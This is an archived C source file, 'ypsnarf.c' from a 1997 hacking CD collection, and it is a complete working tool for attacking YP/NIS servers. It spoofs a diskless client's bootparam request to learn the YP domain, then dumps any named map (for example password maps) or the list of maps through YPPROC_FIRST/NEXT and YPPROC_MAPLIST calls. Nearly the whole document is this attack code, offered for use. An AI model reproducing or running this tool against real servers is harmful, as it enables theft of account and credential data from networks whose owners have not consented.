home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / BUG_YP~1.ZIP / BUG_YP~1.C
C/C++ Source or Header  |  1997-01-19  |  12KB  |  416 lines

  1.  
  2. /*
  3.  * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
  4.  * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
  5.  * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM.  PLEASE DO NOT
  6.  * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
  7.  *
  8.  * ypsnarf - exercise security holes in yp/nis.
  9.  *
  10.  * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
  11.  * (casper@fwi.uva.nl).
  12.  *
  13.  * Usage:
  14.  *       ypsnarf server client
  15.  *            - to obtain the yp domain name
  16.  *       ypsnarf server domain mapname
  17.  *            - to obtain a copy of a yp map
  18.  *       ypsnarf server domain maplist
  19.  *            - to obtain a list of yp maps
  20.  *
  21.  * In the first case, we lie and pretend to be the host "client", and send
  22.  * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
  23.  * to work, "server" must be running rpc.bootparamd, and "client" must be a
  24.  * diskless client of (well, it must boot from) "server".
  25.  *
  26.  * In the second case, we send a YPPROC_DOMAIN request to the host "server",
  27.  * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
  28.  * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
  29.  * "mapname".  Note that you must specify the full yp map name, you cannot
  30.  * use the shorthand names provided by "ypcat".
  31.  *
  32.  * In the third case, the special map name "maplist" tells ypsnarf to send
  33.  * a YPPROC_MAPLIST request to the server and get the list of maps in domain
  34.  * "domain", instead of getting the contents of a map.  If the server has a
  35.  * map called "maplist" you can't get it.  Oh well.
  36.  *
  37.  * Since the callrpc() routine does not make any provision for timeouts, we
  38.  * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
  39.  * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
  40.  *
  41.  * This program uses UDP packets, which means there's a chance that things
  42.  * will get dropped on the floor; it's not a reliable stream like TCP.  In
  43.  * practice though, this doesn't seem to be a problem.
  44.  *
  45.  * To compile:
  46.  *       cc -o ypsnarf ypsnarf.c -lrpcsvc
  47.  *
  48.  * David A. Curry
  49.  * Purdue University
  50.  * Engineering Computer Network
  51.  * Electrical Engineering Building
  52.  * West Lafayette, IN 47907
  53.  * davy@ecn.purdue.edu
  54.  * January, 1991
  55.  */
  56. #include <sys/param.h>
  57. #include <sys/socket.h>
  58. #include <netinet/in.h>
  59. #include <arpa/inet.h>
  60. #include <rpc/rpc.h>
  61. #include <rpcsvc/bootparam.h>
  62. /* #include <rpcsvc/pnprpc.h>      /*needed on newer suns it seems */
  63. #include <rpcsvc/yp_prot.h>
  64. #include <rpc/pmap_clnt.h>
  65. #include <sys/time.h>
  66. #include <signal.h>
  67. #include <string.h>
  68. #include <netdb.h>
  69. #include <stdio.h>
  70.  
  71. #define BOOTPARAM_MAXDOMAINLEN    32   /* from rpc.bootparamd        */
  72. #define YPSNARF_TIMEOUT1     15   /* timeout for initial request     */
  73. #define YPSNARF_TIMEOUT2     30   /* timeout during map transfer     */
  74.  
  75. char     *pname;                  /* program name               */
  76.  
  77. main(argc, argv)
  78. char **argv;
  79. int argc;
  80. {
  81.     char *server, *client, *domain, *mapname;
  82.  
  83.     pname = *argv;
  84.  
  85.     /*
  86.      * Process arguments.  This is less than robust, but then
  87.      * hey, you're supposed to know what you're doing.
  88.      */
  89.     switch (argc) {
  90.     case 3:
  91.          server = *++argv;
  92.          client = *++argv;
  93.  
  94.          get_yp_domain(server, client);
  95.          exit(0);
  96.     case 4:
  97.          server = *++argv;
  98.          domain = *++argv;
  99.          mapname = *++argv;
  100.  
  101.          if (strcmp(mapname, "maplist") == 0)
  102.               get_yp_maplist(server, domain);
  103.          else
  104.               get_yp_map(server, domain, mapname);
  105.          exit(0);
  106.     default:
  107.          fprintf(stderr, "Usage: %s server client         -", pname);
  108.          fprintf(stderr, "to obtain yp domain name\n");
  109.          fprintf(stderr, "       %s server domain mapname -", pname);
  110.          fprintf(stderr, "to obtain contents of yp map\n");
  111.          exit(1);
  112.     }
  113. }
  114.  
  115. /*
  116.  * get_yp_domain - figure out the yp domain used between server and client.
  117.  */
  118. get_yp_domain(server, client)
  119. char *server, *client;
  120. {
  121.     long hostip;
  122.     struct hostent *hp;
  123.     bp_whoami_arg w_arg;
  124.     bp_whoami_res w_res;
  125.     extern void timeout();
  126.     enum clnt_stat errcode;
  127.  
  128.     /*
  129.      * Just a sanity check, here.
  130.      */
  131.     if ((hp = gethostbyname(server)) == NULL) {
  132.          fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
  133.          exit(1);
  134.     }
  135.  
  136.     /*
  137.      * Allow the client to be either an internet address or a
  138.      * host name.  Copy in the internet address.
  139.      */
  140.     if ((hostip = inet_addr(client)) == -1) {
  141.          if ((hp = gethostbyname(client)) == NULL) {
  142.               fprintf(stderr, "%s: %s: unknown host.\n", pname,
  143.                    client);
  144.               exit(1);
  145.          }
  146.  
  147.          bcopy(hp->h_addr_list[0],
  148.                (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  149.                hp->h_length);
  150.     }
  151.     else {
  152.          bcopy((caddr_t) &hostip,
  153.                (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  154.                sizeof(ip_addr_t));
  155.     }
  156.  
  157.     w_arg.client_address.address_type = IP_ADDR_TYPE;
  158.     bzero((caddr_t) &w_res, sizeof(bp_whoami_res)); 
  159.  
  160.     /*
  161.      * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
  162.      * give us the yp domain in the response, IFF client boots from
  163.      * the server.
  164.      */
  165.     signal(SIGALRM, timeout);
  166.     alarm(YPSNARF_TIMEOUT1);
  167.  
  168.     errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
  169.         BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
  170.                 xdr_bp_whoami_res, &w_res);
  171.  
  172.     alarm(0);
  173.  
  174.     if (errcode != RPC_SUCCESS)
  175.          print_rpc_err(errcode);
  176.  
  177.     /*
  178.      * Print the domain name.
  179.      */
  180.     printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
  181.  
  182.     /*
  183.      * The maximum domain name length is 255 characters, but the
  184.      * rpc.bootparamd program truncates anything over 32 chars.
  185.      */
  186.     if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
  187.          printf(" (truncated?)");
  188.  
  189.     /*
  190.      * Put out the client name, if they didn't know it.
  191.      */
  192.     if (hostip != -1)
  193.          printf(" (client name = %s)", w_res.client_name);
  194.  
  195.     putchar('\n');
  196. }
  197.  
  198. /*
  199.  * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
  200.  */
  201. get_yp_map(server, domain, mapname)
  202. char *server, *domain, *mapname;
  203. {
  204.     char *reqp;
  205.     bool_t yesno;
  206.     u_long calltype;
  207.     bool (*xdr_proc)();
  208.     extern void timeout();
  209.     enum clnt_stat errcode;
  210.     struct ypreq_key keyreq;
  211.     struct ypreq_nokey nokeyreq;
  212.     struct ypresp_key_val answer;
  213.  
  214.     /*
  215.      * This code isn't needed; the next call will give the same
  216.      * error message if there's no yp server there.
  217.      */
  218. #ifdef not_necessary
  219.     /*
  220.      * "Ping" the yp server and see if it's there.
  221.      */
  222.     signal(SIGALRM, timeout);
  223.     alarm(YPSNARF_TIMEOUT1);
  224.  
  225.     errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  226.                 xdr_void, 0);
  227.  
  228.     alarm(0);
  229.  
  230.     if (errcode != RPC_SUCCESS)
  231.          print_rpc_err(errcode);
  232. #endif
  233.  
  234.     /*
  235.      * Figure out whether server serves the yp domain we want.
  236.      */
  237.     signal(SIGALRM, timeout);
  238.     alarm(YPSNARF_TIMEOUT1);
  239.  
  240.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  241.                 xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  242.                 (caddr_t) &yesno);
  243.  
  244.     alarm(0);
  245.  
  246.     if (errcode != RPC_SUCCESS)
  247.          print_rpc_err(errcode);
  248.  
  249.     /*
  250.      * Nope...
  251.      */
  252.     if (yesno == FALSE) {
  253.          fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  254.               server, domain);
  255.          exit(1);
  256.     }
  257.  
  258.     /*
  259.      * Now we just read entry after entry...  The first entry we
  260.      * get with a nokey request.
  261.      */
  262.     keyreq.domain = nokeyreq.domain = domain;
  263.     keyreq.map = nokeyreq.map = mapname;
  264.     reqp = (caddr_t) &nokeyreq;
  265.     keyreq.keydat.dptr = NULL;
  266.  
  267.     answer.status = TRUE;
  268.     calltype = YPPROC_FIRST;
  269.     xdr_proc = xdr_ypreq_nokey;
  270.  
  271.     while (answer.status == TRUE) {
  272.          bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
  273.  
  274.          signal(SIGALRM, timeout);
  275.          alarm(YPSNARF_TIMEOUT2);
  276.  
  277.          errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
  278.                      reqp, xdr_ypresp_key_val, &answer);
  279.  
  280.          alarm(0);
  281.  
  282.          if (errcode != RPC_SUCCESS)
  283.               print_rpc_err(errcode);
  284.  
  285.          /*
  286.           * Got something; print it.
  287.           */
  288.          if (answer.status == TRUE) {
  289.               printf("%.*s\n", answer.valdat.dsize,
  290.                      answer.valdat.dptr);
  291.          }
  292.  
  293.          /*
  294.           * Now we're requesting the next item, so have to
  295.           * send back the current key.
  296.           */
  297.          calltype = YPPROC_NEXT;
  298.          reqp = (caddr_t) &keyreq;
  299.          xdr_proc = xdr_ypreq_key;
  300.  
  301.          if (keyreq.keydat.dptr)
  302.               free(keyreq.keydat.dptr);
  303.  
  304.          keyreq.keydat = answer.keydat;
  305.  
  306.          if (answer.valdat.dptr)
  307.               free(answer.valdat.dptr);
  308.     }
  309. }
  310.  
  311. /*
  312.  * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
  313.  */
  314. get_yp_maplist(server, domain)
  315. char *server, *domain;
  316. {
  317.     bool_t yesno;
  318.     extern void timeout();
  319.     struct ypmaplist *mpl;
  320.     enum clnt_stat errcode;
  321.     struct ypresp_maplist maplist;
  322.  
  323.     /*
  324.      * This code isn't needed; the next call will give the same
  325.      * error message if there's no yp server there.
  326.      */
  327. #ifdef not_necessary
  328.     /*
  329.      * "Ping" the yp server and see if it's there.
  330.      */
  331.     signal(SIGALRM, timeout);
  332.     alarm(YPSNARF_TIMEOUT1);
  333.  
  334.     errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  335.                 xdr_void, 0);
  336.  
  337.     alarm(0);
  338.  
  339.     if (errcode != RPC_SUCCESS)
  340.          print_rpc_err(errcode);
  341. #endif
  342.  
  343.     /*
  344.      * Figure out whether server serves the yp domain we want.
  345.      */
  346.     signal(SIGALRM, timeout);
  347.     alarm(YPSNARF_TIMEOUT1);
  348.  
  349.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  350.                 xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  351.                 (caddr_t) &yesno);
  352.  
  353.     alarm(0);
  354.  
  355.     if (errcode != RPC_SUCCESS)
  356.          print_rpc_err(errcode);
  357.  
  358.     /*
  359.      * Nope...
  360.      */
  361.     if (yesno == FALSE) {
  362.          fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  363.               server, domain);
  364.          exit(1);
  365.     }
  366.  
  367.     maplist.list = (struct ypmaplist *) NULL;
  368.  
  369.     /*
  370.      * Now ask for the list.
  371.      */
  372.     signal(SIGALRM, timeout);
  373.     alarm(YPSNARF_TIMEOUT1);
  374.  
  375.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
  376.                 xdr_wrapstring, (caddr_t) &domain,
  377.                 xdr_ypresp_maplist, &maplist);
  378.  
  379.     alarm(0);
  380.  
  381.     if (errcode != RPC_SUCCESS)
  382.          print_rpc_err(errcode);
  383.  
  384.     if (maplist.status != YP_TRUE) {
  385.          fprintf(stderr, "%s: cannot get map list: %s\n", pname,
  386.               yperr_string(ypprot_err(maplist.status)));
  387.          exit(1);
  388.     }
  389.  
  390.     /*
  391.      * Print out the list.
  392.      */
  393.     for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
  394.          printf("%s\n", mpl->ypml_name);
  395. }
  396.  
  397. /*
  398.  * print_rpc_err - print an rpc error and exit.
  399.  */
  400. print_rpc_err(errcode)
  401. enum clnt_stat errcode;
  402. {
  403.     fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
  404.     exit(1);
  405. }
  406.  
  407. /*
  408.  * timeout - print a timeout and exit.
  409.  */
  410. void timeout()
  411. {
  412.     fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
  413.     exit(1);
  414. }
  415.  
  416.